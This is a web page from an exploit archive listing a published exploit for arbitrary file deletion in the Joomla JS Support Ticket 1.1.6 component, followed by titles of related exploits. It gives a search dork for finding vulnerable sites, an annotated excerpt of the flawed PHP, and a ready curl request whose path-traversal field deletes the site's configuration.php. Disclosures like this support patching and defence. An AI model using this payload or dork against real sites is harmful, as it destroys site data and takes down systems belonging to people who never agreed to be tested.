Menu

Search for hundreds of thousands of exploits

"Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticket.php' Arbitrary File Deletion"

Author

qw3rTyTy

Platform

php

Release date

2019-08-12

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#Exploit Title: Joomla! component com_jssupportticket - Authenticated Arbitrary File Deletion
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
This vulnerability is caused when processing custom user field.

file:	admin/models/ticket.php
function:	storeTicket

    54	    function storeTicket($data){
    ...snip...
    75	        $userfield = $this->getJSModel('userfields')->getUserfieldsfor(1);
    76	        $params = array();
    77		foreach ($userfield AS $ufobj) {
    78				$vardata = '';
    ...snip...
   121			if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
   122	                $customflagfordelete = true;
   123			$custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];	//no check.
   	...snip...
   198	        if($customflagfordelete == true){
   199			foreach ($custom_field_namesfordelete as $key) {
   200	                $res = $this->removeFileCustom($ticketid,$key);	//!!!
   201	            }
   202	        }
   ...snip...
  1508	    function removeFileCustom($id, $key){
  1509	        $filename = str_replace(' ', '_', $key);
  1510	
  1511	        if(! is_numeric($id))
  1512	            return;
  1513	
  1514	        $db = JFactory::getDbo();
  1515	        $config = $this->getJSModel('config')->getConfigByFor('default');
  1516	        $datadirectory = $config['data_directory'];
  1517	
  1518	        $base = JPATH_BASE;
  1519	        if(JFactory::getApplication()->isAdmin()){
  1520	            $base = substr($base, 0, strlen($base) - 14); //remove administrator    
  1521	        }
  1522	
  1523	        $path = $base . '/' . $datadirectory. '/attachmentdata/ticket';
  1524	
  1525	        $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
  1526	        $db->setQuery($query);
  1527	        $foldername = $db->loadResult();
  1528	        $userpath = $path . '/' . $foldername.'/'.$filename;
  1529	        unlink($userpath);	//!!!
  1530	        return;
  1531	    }

#####################################
#PoC:
#####################################
When administrator has added custom user field as "19", attacker are can trigger this vulnerability by send a following request.

$> curl -X POST -i -F 'option=com_jssupportticket' -F 'c=ticket' -F 'task=saveTicket' -F '{VALID_FORMTOKEN_FROM_FORMTICKET}=1' -F 'Itemid=666' -F 'id=' -F 'message=woot' -F '19_1=1' -F '19_2=../../../../configuration.php' -F 'filename[]=@./woot.txt' -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' 'http://localhost/index.php'
Release Date Title Type Platform Author
2019-08-20 "WordPress Add Mime Types Plugin 2.2.1 - Cross-Site Request Forgery" webapps php "Princy Edward"
2019-08-19 "YouPHPTube 7.2 - 'userCreate.json.php' SQL Injection" webapps php "Fabian Mosch"
2019-08-19 "Neo Billing 3.5 - Persistent Cross-Site Scripting" webapps php n1x_
2019-08-19 "Kimai 2 - Persistent Cross-Site Scripting" webapps php osamaalaa
2019-08-16 "Integria IMS 5.0.86 - Arbitrary File Upload" webapps php Greg.Priest
2019-08-16 "Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-16 "EyesOfNetwork 5.1 - Authenticated Remote Command Execution" webapps php "Nassim Asrir"
2019-08-14 "WordPress Plugin Download Manager 2.5 - Cross-Site Request Forgery" webapps php "Princy Edward"
2019-08-14 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'customfields.php' SQL Injection" webapps php qw3rTyTy
2019-08-14 "SugarCRM Enterprise 9.0.0 - Cross-Site Scripting" webapps php "Ilca Lucian Florin"
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated OS Command Injection Bind Shell" webapps php xerubus
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated Configuration Download" webapps php xerubus
2019-08-14 "Agent Tesla Botnet - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-13 "AZORult Botnet - SQL Injection" remote php prsecurity
2019-08-13 "Agent Tesla Botnet - Arbitrary Code Execution" remote php prsecurity
2019-08-12 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'cities.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Formula Injection" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting via File Upload" webapps php "Aishwarya Iyer"
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticket.php' Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticketreply.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "UNA 10.0.0 RC1 - 'polyglot.php' Persistent Cross-Site Scripting" webapps php Greg.Priest
2019-08-12 "BSI Advance Hotel Booking System 2.0 - 'booking_details.php Persistent Cross-Site Scripting" webapps php "Angelo Ruwantha"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - SQL Injection" webapps php qw3rTyTy
2019-08-08 "Adive Framework 2.0.7 - Cross-Site Request Forgery" webapps php "Pablo Santiago"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - Arbitrary File Download" webapps php qw3rTyTy
2019-08-08 "Daily Expense Manager 1.0 - Cross-Site Request Forgery (Delete Income)" webapps php "Mr Winst0n"
2019-08-08 "Open-School 3.0 / Community Edition 2.3 - Cross-Site Scripting" webapps php Greg.Priest
2019-08-08 "Baldr Botnet Panel - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-07 "WordPress Plugin JoomSport 3.3 - SQL Injection" webapps php "Pablo Santiago"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47223/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47223/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47223/41606/joomla-component-js-support-ticket-com-jssupportticket-116-ticketphp-arbitrary-file-deletion/download/", "exploit_id": "47223", "exploit_description": "\"Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticket.php' Arbitrary File Deletion\"", "exploit_date": "2019-08-12", "exploit_author": "qw3rTyTy", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse